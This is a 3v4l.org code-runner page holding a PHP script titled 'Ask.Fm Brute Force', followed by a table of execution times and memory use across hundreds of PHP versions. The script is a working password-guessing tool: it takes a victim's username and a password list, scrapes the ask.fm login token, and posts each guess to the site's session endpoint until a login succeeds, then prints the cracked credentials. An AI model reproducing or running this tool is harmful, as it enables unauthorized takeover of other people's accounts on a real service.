3v4l.org

run code in 300+ PHP versions simultaneously
<?php # Coded By : Knowledge Hunter # Greet'z : GRENXPARTa - Mr K - Ice Cream echo "<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form>"; @set_time_limit(0); @error_reporting(0); $site = "http://ask.fm/login/"; $username = $_POST['username']; $passl = explode("\r\n", $_POST['pass']); foreach($passl as $pass) { $hash = token($site); $x = brute($hash,$username,$pass); if(preg_match('/<a href="(.*?)" class="link-menu" data-rlt-aid="tlb_menu_answers">Profile/', $x)) { //print $x; print "<br>[+] Cracked : <font face='Tahoma' size='2' color='red'><b>{$username}</b></font> / <font face='Tahoma' size='2' color='red'><b>{$pass}</b></font>"; flush();flush(); break; } } # extract auth_token function token($site) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, $site); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $b0x = curl_exec($curl); preg_match('/<input name="authenticity_token" type="hidden" value="(.*?)" /' ,$b0x ,$token); return $token[1]; } # brute function brute($hash,$username,$pass) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, "http://ask.fm/session"); curl_setopt($curl, CURLOPT_POSTFIELDS, "authenticity_token={$hash}&login={$username}&password={$pass}&commit=Log+in"); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $brute = curl_exec($curl); return $brute; } @system("del cookie.txt"); @system("rm cookie.txt"); echo "<br><br><font face='Tahoma' size='2'>[+] Coded By : Knowledge Hunter | Homepage: knowledge-h.blogspot.com <br> Greet'z : GRENXPARTa - Mr K - Ice-cream</font>"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00316.88
8.3.50.0130.00521.91
8.3.40.0110.00418.96
8.3.30.0040.01118.71
8.3.20.0000.00820.29
8.3.10.0060.00320.61
8.3.00.0050.00323.66
8.2.180.0080.00817.00
8.2.170.0110.00422.96
8.2.160.0070.00722.00
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00420.73
8.2.120.0070.00026.35
8.2.110.0060.00321.12
8.2.100.0040.00717.99
8.2.90.0000.00818.09
8.2.80.0040.00418.22
8.2.70.0060.00317.63
8.2.60.0000.00818.05
8.2.50.0040.00718.09
8.2.40.0000.00820.52
8.2.30.0050.00219.41
8.2.20.0060.00317.84
8.2.10.0070.00018.06
8.2.00.0040.00418.05
8.1.280.0090.00625.92
8.1.270.0060.01322.14
8.1.260.0040.00428.09
8.1.250.0040.00428.09
8.1.240.0060.00323.98
8.1.230.0080.00320.92
8.1.220.0000.00817.79
8.1.210.0040.00418.87
8.1.200.0030.00617.23
8.1.190.0030.00617.38
8.1.180.0000.00818.10
8.1.170.0050.00518.70
8.1.160.0040.00420.79
8.1.150.0050.00218.86
8.1.140.0030.00519.52
8.1.130.0030.00317.68
8.1.120.0000.00717.54
8.1.110.0040.00417.45
8.1.100.0000.00717.43
8.1.90.0040.00417.48
8.1.80.0000.00817.47
8.1.70.0030.00317.47
8.1.60.0050.00217.50
8.1.50.0030.00617.55
8.1.40.0000.00917.51
8.1.30.0040.00417.72
8.1.20.0040.00417.46
8.1.10.0040.00417.57
8.1.00.0060.00617.55
8.0.300.0000.00820.03
8.0.290.0070.00016.88
8.0.280.0070.00018.41
8.0.270.0040.00417.33
8.0.260.0070.00017.25
8.0.250.0000.00717.00
8.0.240.0000.00816.89
8.0.230.0030.00617.04
8.0.220.0000.00716.89
8.0.210.0000.00717.02
8.0.200.0030.00316.94
8.0.190.0000.00917.06
8.0.180.0000.00716.98
8.0.170.0030.00616.97
8.0.160.0030.00516.96
8.0.150.0080.00016.93
8.0.140.0050.00216.84
8.0.130.0000.00713.42
8.0.120.0030.00516.99
8.0.110.0030.00516.80
8.0.100.0030.00516.96
8.0.90.0040.00416.93
8.0.80.0100.00616.86
8.0.70.0050.00217.03
8.0.60.0050.00316.98
8.0.50.0000.00717.02
8.0.30.0070.01317.17
8.0.20.0110.00717.40
8.0.10.0000.00816.99
8.0.00.0030.01316.92
7.4.330.0020.00216.76
7.4.320.0000.00816.46
7.4.300.0000.00616.58
7.4.290.0080.00016.62
7.4.280.0040.00416.60
7.4.270.0000.00716.62
7.4.260.0080.00416.53
7.4.250.0030.00516.51
7.4.240.0000.00716.39
7.4.230.0030.00316.70
7.4.220.0130.00916.67
7.4.210.0090.00816.66
7.4.200.0040.00416.52
7.4.160.0140.00316.50
7.4.150.0110.00817.40
7.4.140.0160.00617.86
7.4.130.0130.00616.46
7.4.120.0090.00916.59
7.4.110.0130.00616.58
7.4.100.0060.01616.69
7.4.90.0160.00616.54
7.4.80.0100.00719.39
7.4.70.0100.00716.63
7.4.60.0100.00716.51
7.4.50.0040.01116.60
7.4.40.0100.00616.52
7.4.30.0110.00816.61
7.4.10.0090.00614.95
7.4.00.0040.01215.06
7.3.330.0020.00213.39
7.3.320.0000.00613.29
7.3.310.0030.00316.39
7.3.300.0000.00716.46
7.3.290.0070.00016.43
7.3.280.0090.00916.45
7.3.270.0120.00617.40
7.3.260.0070.01716.48
7.3.250.0100.00816.47
7.3.240.0040.01416.66
7.3.230.0090.01316.39
7.3.210.0100.00716.45
7.3.200.0060.01016.69
7.3.190.0120.00316.57
7.3.180.0100.01316.53
7.3.170.0120.00616.38
7.3.160.0030.01316.38
7.3.130.0120.00615.02
7.3.120.0090.00814.79
7.3.110.0080.00814.81
7.3.100.0050.01114.96
7.3.90.0060.00414.85
7.3.80.0060.00714.85
7.3.70.0060.00614.91
7.3.60.0090.00514.85
7.3.50.0070.00814.88
7.3.40.0070.00614.80
7.3.30.0050.00714.84
7.3.20.0040.00916.63
7.3.10.0040.00816.68
7.3.00.0050.00716.76
7.2.330.0070.01016.74
7.2.320.0120.00616.79
7.2.310.0030.01316.55
7.2.300.0120.00616.70
7.2.290.0100.00716.84
7.2.260.0070.01015.25
7.2.250.0030.01214.95
7.2.240.0040.01115.06
7.2.230.0040.01115.02
7.2.220.0050.00715.31
7.2.210.0060.01015.25
7.2.200.0060.00915.20
7.2.190.0070.01015.13
7.2.180.0050.00715.12
7.2.170.0030.01115.11
7.2.160.0070.00715.23
7.2.150.0090.00516.78
7.2.140.0090.00516.97
7.2.130.0060.00917.03
7.2.120.0070.00816.96
7.2.110.0080.00416.96
7.2.100.0050.01017.00
7.2.90.0050.01016.99
7.2.80.0050.00717.05
7.2.70.0080.00916.87
7.2.60.0040.00816.91
7.2.50.0060.00917.07
7.2.40.0040.01016.91
7.2.30.0070.00617.10
7.2.20.0050.00816.95
7.2.10.0050.00817.05
7.2.00.0070.00817.52
7.1.330.0080.00815.87
7.1.320.0070.00715.69
7.1.310.0060.00715.82
7.1.300.0030.01015.64
7.1.290.0060.00515.73
7.1.280.0030.00915.71
7.1.270.0100.00315.62
7.1.260.0010.01215.75
7.1.250.0030.01015.65
7.1.240.0030.01015.82
7.1.230.0000.01415.89
7.1.220.0060.00815.84
7.1.210.0150.00015.85
7.1.200.0020.01115.72
7.1.190.0040.01215.95
7.1.180.0100.00315.88
7.1.170.0080.00415.77
7.1.160.0030.00615.73
7.1.150.0070.00715.81
7.1.140.0000.01415.66
7.1.130.0000.00815.69
7.1.120.0110.00015.91
7.1.110.0030.00815.79
7.1.100.0050.00816.86
7.1.90.0050.00515.87
7.1.80.0060.00616.08
7.1.70.0020.01216.64
7.1.60.0090.01117.69
7.1.50.0050.01116.37
7.1.40.0030.00615.82
7.1.30.0070.00715.83
7.1.20.0030.01015.78
7.1.10.0000.01415.44
7.1.00.0080.03819.12
7.0.330.0000.01515.29
7.0.320.0090.00615.27
7.0.310.0090.00315.54
7.0.300.0030.00715.27
7.0.290.0030.00615.35
7.0.280.0040.01115.49
7.0.270.0030.00715.34
7.0.260.0090.00315.41
7.0.250.0090.00915.23
7.0.240.0100.00615.42
7.0.230.0070.01015.27
7.0.220.0080.00615.32
7.0.210.0030.00915.22
7.0.200.0170.00815.14
7.0.190.0070.00715.37
7.0.180.0000.01315.48
7.0.170.0160.00015.55
7.0.160.0000.01115.36
7.0.150.0070.00715.43
7.0.140.0040.00715.48
7.0.130.0030.00915.31
7.0.120.0030.00715.59
7.0.110.0000.01215.22
7.0.100.0200.03017.75
7.0.90.0060.02817.87
7.0.80.0030.04517.53
7.0.70.0220.04417.71
7.0.60.0270.04417.77
7.0.50.0110.04017.95
7.0.40.0050.04116.61
7.0.30.0100.01916.87
7.0.20.0050.03716.78
7.0.10.0020.05216.74
7.0.00.0110.04116.80
5.6.400.0000.01614.55
5.6.390.0150.00314.20
5.6.380.0040.00814.30
5.6.370.0060.00814.26
5.6.360.0030.00714.59
5.6.350.0000.01414.71
5.6.340.0060.00914.53
5.6.330.0080.00314.05
5.6.320.0060.01214.39
5.6.310.0030.00914.34
5.6.300.0030.00914.33
5.6.290.0040.00714.27
5.6.280.0020.03217.62
5.6.270.0040.00814.39
5.6.260.0000.01414.35
5.6.250.0130.03817.41
5.6.240.0110.04017.61
5.6.230.0050.04917.57
5.6.220.0070.02417.43
5.6.210.0100.02517.52
5.6.200.0080.04117.76
5.6.190.0070.03517.76
5.6.180.0030.02417.62
5.6.170.0030.04017.77
5.6.160.0100.04317.72
5.6.150.0030.04917.67
5.6.140.0050.03617.89
5.6.130.0020.03917.75
5.6.120.0070.04617.64
5.6.110.0060.04617.70
5.6.100.0080.03917.68
5.6.90.0100.04217.89
5.6.80.0120.03617.46
5.6.70.0100.03517.33
5.6.60.0100.03017.27
5.6.50.0080.04317.35
5.6.40.0060.02517.45
5.6.30.0100.04017.40
5.6.20.0080.04217.37
5.6.10.0090.04217.20
5.6.00.0080.02617.37
5.5.380.0230.07320.58
5.5.370.0130.07720.38
5.5.360.0100.04320.46
5.5.350.0000.05320.38
5.5.340.0130.07320.85
5.5.330.0100.08020.93
5.5.320.0070.04020.88
5.5.310.0030.09020.90
5.5.300.0130.07720.82
5.5.290.0070.08720.65
5.5.280.0000.08020.79
5.5.270.0100.08320.89
5.5.260.0030.05720.80
5.5.250.0100.04720.61
5.5.240.0070.08720.27
5.5.230.0100.08320.16
5.5.220.0130.06020.12
5.5.210.0170.07320.29
5.5.200.0100.07020.30
5.5.190.0100.05720.12
5.5.180.0030.04320.24
5.5.160.0100.07020.16
5.5.150.0130.07320.25
5.5.140.0100.07020.24
5.5.130.0000.08020.18
5.5.120.0100.07320.20
5.5.110.0100.05019.96
5.5.100.0130.06319.96
5.5.90.0170.05020.16
5.5.80.0170.05320.11
5.5.70.0100.07719.93
5.5.60.0130.05720.01
5.5.50.0100.07720.02
5.5.40.0100.07320.07
5.5.30.0030.06720.07
5.5.20.0070.05320.06
5.5.10.0100.06320.09
5.5.00.0100.07020.08

preferences:
58.79 ms | 401 KiB | 5 Q